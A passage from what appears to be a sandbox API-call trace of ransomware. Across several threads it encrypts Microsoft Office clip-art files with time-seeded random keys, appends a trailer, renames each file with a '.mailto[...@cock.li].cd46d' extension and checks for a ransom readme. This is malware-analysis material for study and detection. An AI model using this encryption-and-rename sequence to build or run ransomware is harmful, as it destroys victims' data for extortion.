liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.520] WriteFile (in: hFile=0x1230, lpBuffer=0x12d7d9d0*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x10daff04, lpOverlapped=0x0 | out: lpBuffer=0x12d7d9d0*, lpNumberOfBytesWritten=0x10daff04*=0x109, lpOverlapped=0x0) returned 1 [0061.527] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7d9d0) returned 1 [0061.527] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0480) returned 1 [0061.527] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9020) returned 1 [0061.527] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0450) returned 1 [0061.527] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d97360) returned 1 [0061.527] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9048) returned 1 [0061.527] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec90e8) returned 1 [0061.527] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9110) returned 1 [0061.527] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00540 [0061.527] wcscpy (in: _Dest=0x5e00540, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" [0061.527] wcscat (in: _Dest=0x5e00540, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0061.527] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x10dafebc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.527] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x44d428 [0061.530] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d428) returned 1 [0061.530] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1e828) returned 1 [0061.530] NtQueryInformationFile (in: FileHandle=0x1230, IoStatusBlock=0x10dafec8, FileInformation=0x10dafea0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x10dafec8, FileInformation=0x10dafea0) returned 0x0 [0061.530] NtSetInformationFile (FileHandle=0x1230, IoStatusBlock=0x10dafec8, FileInformation=0x10dafea0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.531] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00540) returned 1 [0061.531] FlushFileBuffers (hFile=0x1230) returned 1 [0062.197] CloseHandle (hObject=0x1230) returned 1 [0062.655] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x97cdc88 [0062.655] wcscpy (in: _Dest=0x97cdc88, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0062.655] wcscat (in: _Dest=0x97cdc88, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt" [0062.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cd46d-readme.txt")) returned 0x20 [0062.971] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cdc88) returned 1 [0062.971] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f9218) returned 1 Thread: id = 1057 os_tid = 0xbe4 [0056.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 0x20 [0061.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF", dwFileAttributes=0x20) returned 1 [0061.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1234 [0061.125] GetFileSizeEx (in: hFile=0x1234, lpFileSize=0x10cffd08 | out: lpFileSize=0x10cffd08*=15308) returned 1 [0061.125] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x3bc8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.125] ReadFile (in: hFile=0x1234, lpBuffer=0x10cffc8c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10cffc88, lpOverlapped=0x0 | out: lpBuffer=0x10cffc8c*, lpNumberOfBytesRead=0x10cffc88*=0x4, lpOverlapped=0x0) returned 1 [0061.127] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.127] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4367c8 [0061.127] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec90c0 [0061.127] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9138 [0061.127] NtQuerySystemTime (in: CurrentTime=0x10cffc68 | out: CurrentTime=0x10cffc68*=132174898251132000) returned 0x0 [0061.127] RtlRandomEx (in: Seed=0x10cffc74 | out: Seed=0x10cffc74) returned 0x6df7c3bf [0061.127] RtlRandomEx (in: Seed=0x10cffc74 | out: Seed=0x10cffc74) returned 0x7f3fb9ce [0061.127] RtlRandomEx (in: Seed=0x10cffc74 | out: Seed=0x10cffc74) returned 0x48bc15a2 [0061.127] RtlRandomEx (in: Seed=0x10cffc74 | out: Seed=0x10cffc74) returned 0x78dd93e [0061.127] RtlRandomEx (in: Seed=0x10cffc74 | out: Seed=0x10cffc74) returned 0x69a244b5 [0061.127] RtlRandomEx (in: Seed=0x10cffc74 | out: Seed=0x10cffc74) returned 0x29e308c5 [0061.127] RtlRandomEx (in: Seed=0x10cffc74 | out: Seed=0x10cffc74) returned 0x794d1c2b [0061.127] RtlRandomEx (in: Seed=0x10cffc74 | out: Seed=0x10cffc74) returned 0x4dc4bf14 [0061.127] RtlRandomEx (in: Seed=0x10cffc74 | out: Seed=0x10cffc74) returned 0x13fdc3ed [0061.127] RtlRandomEx (in: Seed=0x10cffc74 | out: Seed=0x10cffc74) returned 0x4be52a2a [0061.127] RtlRandomEx (in: Seed=0x10cffc74 | out: Seed=0x10cffc74) returned 0x66b2b1d8 [0061.127] RtlRandomEx (in: Seed=0x10cffc74 | out: Seed=0x10cffc74) returned 0x7bd3e3ec [0061.127] RtlRandomEx (in: Seed=0x10cffc74 | out: Seed=0x10cffc74) returned 0x4d822dc0 [0061.127] RtlRandomEx (in: Seed=0x10cffc74 | out: Seed=0x10cffc74) returned 0xa1412d5 [0061.127] RtlRandomEx (in: Seed=0x10cffc74 | out: Seed=0x10cffc74) returned 0x1c05656d [0061.127] RtlRandomEx (in: Seed=0x10cffc74 | out: Seed=0x10cffc74) returned 0x3dde6d2a [0061.127] RtlRandomEx (in: Seed=0x10cffc74 | out: Seed=0x10cffc74) returned 0x7806b966 [0061.127] RtlRandomEx (in: Seed=0x10cffc74 | out: Seed=0x10cffc74) returned 0x514f41cb [0061.127] RtlRandomEx (in: Seed=0x10cffc74 | out: Seed=0x10cffc74) returned 0x570885cb [0061.127] RtlRandomEx (in: Seed=0x10cffc74 | out: Seed=0x10cffc74) returned 0x5413ac9 [0061.127] RtlRandomEx (in: Seed=0x10cffc74 | out: Seed=0x10cffc74) returned 0x691c2504 [0061.127] RtlRandomEx (in: Seed=0x10cffc74 | out: Seed=0x10cffc74) returned 0xa2e7090 [0061.128] RtlRandomEx (in: Seed=0x10cffc74 | out: Seed=0x10cffc74) returned 0xc5d1cf3 [0061.128] RtlRandomEx (in: Seed=0x10cffc74 | out: Seed=0x10cffc74) returned 0x3571dba [0061.128] RtlRandomEx (in: Seed=0x10cffc74 | out: Seed=0x10cffc74) returned 0x12972afb [0061.128] RtlRandomEx (in: Seed=0x10cffc74 | out: Seed=0x10cffc74) returned 0x5ee910ef [0061.128] RtlRandomEx (in: Seed=0x10cffc74 | out: Seed=0x10cffc74) returned 0x62f25a30 [0061.128] RtlRandomEx (in: Seed=0x10cffc74 | out: Seed=0x10cffc74) returned 0x3962f74 [0061.128] RtlRandomEx (in: Seed=0x10cffc74 | out: Seed=0x10cffc74) returned 0x4594e18 [0061.128] RtlRandomEx (in: Seed=0x10cffc74 | out: Seed=0x10cffc74) returned 0x63021b5c [0061.128] RtlRandomEx (in: Seed=0x10cffc74 | out: Seed=0x10cffc74) returned 0x69afba21 [0061.128] RtlRandomEx (in: Seed=0x10cffc74 | out: Seed=0x10cffc74) returned 0xf86f687 [0061.141] ReadFile (in: hFile=0x1234, lpBuffer=0x19bd2268, nNumberOfBytesToRead=0x3bcc, lpNumberOfBytesRead=0x10cffc64, lpOverlapped=0x0 | out: lpBuffer=0x19bd2268*, lpNumberOfBytesRead=0x10cffc64*=0x3bcc, lpOverlapped=0x0) returned 1 [0061.142] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.142] WriteFile (in: hFile=0x1234, lpBuffer=0x19bdea70*, nNumberOfBytesToWrite=0x3bcc, lpNumberOfBytesWritten=0x10cffc60, lpOverlapped=0x0 | out: lpBuffer=0x19bdea70*, lpNumberOfBytesWritten=0x10cffc60*=0x3bcc, lpOverlapped=0x0) returned 1 [0064.451] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8e18 [0064.451] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8d78 [0064.451] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8d78) returned 1 [0064.451] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19bdea70) returned 1 [0064.451] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19bd2268) returned 1 [0064.451] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418b90) returned 1 [0064.451] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402be8) returned 1 [0064.451] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97ceb70 [0064.451] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.451] WriteFile (in: hFile=0x1234, lpBuffer=0x12d7c508*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x10cffcc8, lpOverlapped=0x0 | out: lpBuffer=0x12d7c508*, lpNumberOfBytesWritten=0x10cffcc8*=0x109, lpOverlapped=0x0) returned 1 [0064.453] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c508) returned 1 [0064.453] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceae0) returned 1 [0064.453] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8d78) returned 1 [0064.453] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceb70) returned 1 [0064.453] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8e18) returned 1 [0064.453] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec90c0) returned 1 [0064.453] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9160) returned 1 [0064.453] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9188) returned 1 [0064.453] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00470 [0064.453] wcscpy (in: _Dest=0x5e00470, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" [0064.453] wcscat (in: _Dest=0x5e00470, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0064.453] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x10cffc80, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0064.454] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x12cf96e0 [0064.454] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf96e0) returned 1 [0064.454] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d79e0) returned 1 [0064.454] NtQueryInformationFile (in: FileHandle=0x1234, IoStatusBlock=0x10cffc8c, FileInformation=0x10cffc64, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x10cffc8c, FileInformation=0x10cffc64) returned 0x0 [0064.454] NtSetInformationFile (FileHandle=0x1234, IoStatusBlock=0x10cffc8c, FileInformation=0x10cffc64, Length=0x28, FileInformationClass=0x4) returned 0x0 [0064.456] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00470) returned 1 [0064.456] FlushFileBuffers (hFile=0x1234) returned 1 [0066.224] CloseHandle (hObject=0x1234) Thread: id = 1058 os_tid = 0xd3c [0056.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 0x20 [0061.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF", dwFileAttributes=0x20) returned 1 [0061.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1238 [0061.143] GetFileSizeEx (in: hFile=0x1238, lpFileSize=0x136bfe54 | out: lpFileSize=0x136bfe54*=5315) returned 1 [0061.143] SetFilePointerEx (in: hFile=0x1238, liDistanceToMove=0x14bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.143] ReadFile (in: hFile=0x1238, lpBuffer=0x136bfdd8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x136bfdd4, lpOverlapped=0x0 | out: lpBuffer=0x136bfdd8*, lpNumberOfBytesRead=0x136bfdd4*=0x4, lpOverlapped=0x0) returned 1 [0061.144] SetFilePointerEx (in: hFile=0x1238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.144] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4367c8 [0061.144] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9138 [0061.145] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec91b0 [0061.145] NtQuerySystemTime (in: CurrentTime=0x136bfdb4 | out: CurrentTime=0x136bfdb4*=132174898251288000) returned 0x0 [0061.145] RtlRandomEx (in: Seed=0x136bfdc0 | out: Seed=0x136bfdc0) returned 0x52e195dc [0061.145] RtlRandomEx (in: Seed=0x136bfdc0 | out: Seed=0x136bfdc0) returned 0x740a0407 [0061.145] RtlRandomEx (in: Seed=0x136bfdc0 | out: Seed=0x136bfdc0) returned 0x1fb59a3c [0061.145] RtlRandomEx (in: Seed=0x136bfdc0 | out: Seed=0x136bfdc0) returned 0x243a04b7 [0061.145] RtlRandomEx (in: Seed=0x136bfdc0 | out: Seed=0x136bfdc0) returned 0x75b4b253 [0061.145] RtlRandomEx (in: Seed=0x136bfdc0 | out: Seed=0x136bfdc0) returned 0x605d0089 [0061.145] RtlRandomEx (in: Seed=0x136bfdc0 | out: Seed=0x136bfdc0) returned 0x664af6c4 [0061.145] RtlRandomEx (in: Seed=0x136bfdc0 | out: Seed=0x136bfdc0) returned 0x2f029127 [0061.145] RtlRandomEx (in: Seed=0x136bfdc0 | out: Seed=0x136bfdc0) returned 0x137d39ad [0061.145] RtlRandomEx (in: Seed=0x136bfdc0 | out: Seed=0x136bfdc0) returned 0x332d88a [0061.145] RtlRandomEx (in: Seed=0x136bfdc0 | out: Seed=0x136bfdc0) returned 0x7505b0c0 [0061.145] RtlRandomEx (in: Seed=0x136bfdc0 | out: Seed=0x136bfdc0) returned 0x1b2b7697 [0061.145] RtlRandomEx (in: Seed=0x136bfdc0 | out: Seed=0x136bfdc0) returned 0x727138a6 [0061.145] RtlRandomEx (in: Seed=0x136bfdc0 | out: Seed=0x136bfdc0) returned 0x394b75dd [0061.145] RtlRandomEx (in: Seed=0x136bfdc0 | out: Seed=0x136bfdc0) returned 0x12e84555 [0061.145] RtlRandomEx (in: Seed=0x136bfdc0 | out: Seed=0x136bfdc0) returned 0x265c52c7 [0061.145] RtlRandomEx (in: Seed=0x136bfdc0 | out: Seed=0x136bfdc0) returned 0x59e26df4 [0061.145] RtlRandomEx (in: Seed=0x136bfdc0 | out: Seed=0x136bfdc0) returned 0x5d329948 [0061.145] RtlRandomEx (in: Seed=0x136bfdc0 | out: Seed=0x136bfdc0) returned 0x6f4d38d9 [0061.145] RtlRandomEx (in: Seed=0x136bfdc0 | out: Seed=0x136bfdc0) returned 0x6811044a [0061.145] RtlRandomEx (in: Seed=0x136bfdc0 | out: Seed=0x136bfdc0) returned 0x51762c01 [0061.145] RtlRandomEx (in: Seed=0x136bfdc0 | out: Seed=0x136bfdc0) returned 0xf04f977 [0061.145] RtlRandomEx (in: Seed=0x136bfdc0 | out: Seed=0x136bfdc0) returned 0x3117457d [0061.145] RtlRandomEx (in: Seed=0x136bfdc0 | out: Seed=0x136bfdc0) returned 0x26d006ff [0061.145] RtlRandomEx (in: Seed=0x136bfdc0 | out: Seed=0x136bfdc0) returned 0x33e532c4 [0061.145] RtlRandomEx (in: Seed=0x136bfdc0 | out: Seed=0x136bfdc0) returned 0x455f81d0 [0061.145] RtlRandomEx (in: Seed=0x136bfdc0 | out: Seed=0x136bfdc0) returned 0x453b2787 [0061.145] RtlRandomEx (in: Seed=0x136bfdc0 | out: Seed=0x136bfdc0) returned 0x684f49b5 [0061.146] RtlRandomEx (in: Seed=0x136bfdc0 | out: Seed=0x136bfdc0) returned 0x479c7389 [0061.146] RtlRandomEx (in: Seed=0x136bfdc0 | out: Seed=0x136bfdc0) returned 0x198fb60e [0061.146] RtlRandomEx (in: Seed=0x136bfdc0 | out: Seed=0x136bfdc0) returned 0x1fa6a9ad [0061.146] RtlRandomEx (in: Seed=0x136bfdc0 | out: Seed=0x136bfdc0) returned 0x59290b30 [0061.158] ReadFile (in: hFile=0x1238, lpBuffer=0x19beb278, nNumberOfBytesToRead=0x14c3, lpNumberOfBytesRead=0x136bfdb0, lpOverlapped=0x0 | out: lpBuffer=0x19beb278*, lpNumberOfBytesRead=0x136bfdb0*=0x14c3, lpOverlapped=0x0) returned 1 [0061.159] SetFilePointerEx (in: hFile=0x1238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.159] WriteFile (in: hFile=0x1238, lpBuffer=0x19bf7a80*, nNumberOfBytesToWrite=0x14c3, lpNumberOfBytesWritten=0x136bfdac, lpOverlapped=0x0 | out: lpBuffer=0x19bf7a80*, lpNumberOfBytesWritten=0x136bfdac*=0x14c3, lpOverlapped=0x0) returned 1 [0064.458] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9188 [0064.458] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9160 [0064.458] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9160) returned 1 [0064.458] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19bf7a80) returned 1 [0064.487] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19beb278) returned 1 [0064.496] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418cf8) returned 1 [0064.496] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402690) returned 1 [0064.496] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97ceb70 [0064.496] SetFilePointerEx (in: hFile=0x1238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.497] WriteFile (in: hFile=0x1238, lpBuffer=0x12d7c508*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x136bfe14, lpOverlapped=0x0 | out: lpBuffer=0x12d7c508*, lpNumberOfBytesWritten=0x136bfe14*=0x109, lpOverlapped=0x0) returned 1 [0064.498] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c508) returned 1 [0064.498] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceae0) returned 1 [0064.498] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9160) returned 1 [0064.498] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceb70) returned 1 [0064.498] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9188) returned 1 [0064.498] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9138) returned 1 [0064.498] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec91d8) returned 1 [0064.498] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9200) returned 1 [0064.498] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00470 [0064.498] wcscpy (in: _Dest=0x5e00470, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" [0064.498] wcscat (in: _Dest=0x5e00470, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0064.498] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x136bfdcc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0064.498] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x12cf96e0 [0064.499] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf96e0) returned 1 [0064.499] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d79e0) returned 1 [0064.499] NtQueryInformationFile (in: FileHandle=0x1238, IoStatusBlock=0x136bfdd8, FileInformation=0x136bfdb0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x136bfdd8, FileInformation=0x136bfdb0) returned 0x0 [0064.499] NtSetInformationFile (FileHandle=0x1238, IoStatusBlock=0x136bfdd8, FileInformation=0x136bfdb0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0064.501] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00470) returned 1 [0064.501] FlushFileBuffers (hFile=0x1238) returned 1 [0066.226] CloseHandle (hObject=0x1238) Thread: id = 1059 os_tid = 0x5b4 [0056.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 0x20 [0061.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF", dwFileAttributes=0x20) returned 1 [0061.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x123c [0061.160] GetFileSizeEx (in: hFile=0x123c, lpFileSize=0x10c2f804 | out: lpFileSize=0x10c2f804*=4955) returned 1 [0061.160] SetFilePointerEx (in: hFile=0x123c, liDistanceToMove=0x1357, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.160] ReadFile (in: hFile=0x123c, lpBuffer=0x10c2f788, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10c2f784, lpOverlapped=0x0 | out: lpBuffer=0x10c2f788*, lpNumberOfBytesRead=0x10c2f784*=0x4, lpOverlapped=0x0) returned 1 [0061.161] SetFilePointerEx (in: hFile=0x123c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.162] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4367c8 [0061.162] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec91b0 [0061.162] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9228 [0061.162] NtQuerySystemTime (in: CurrentTime=0x10c2f764 | out: CurrentTime=0x10c2f764*=132174898251444000) returned 0x0 [0061.162] RtlRandomEx (in: Seed=0x10c2f770 | out: Seed=0x10c2f770) returned 0x25b69bcf [0061.162] RtlRandomEx (in: Seed=0x10c2f770 | out: Seed=0x10c2f770) returned 0x7442b020 [0061.162] RtlRandomEx (in: Seed=0x10c2f770 | out: Seed=0x10c2f770) returned 0x6d84a485 [0061.162] RtlRandomEx (in: Seed=0x10c2f770 | out: Seed=0x10c2f770) returned 0x45999233 [0061.162] RtlRandomEx (in: Seed=0x10c2f770 | out: Seed=0x10c2f770) returned 0xaf5a856 [0061.162] RtlRandomEx (in: Seed=0x10c2f770 | out: Seed=0x10c2f770) 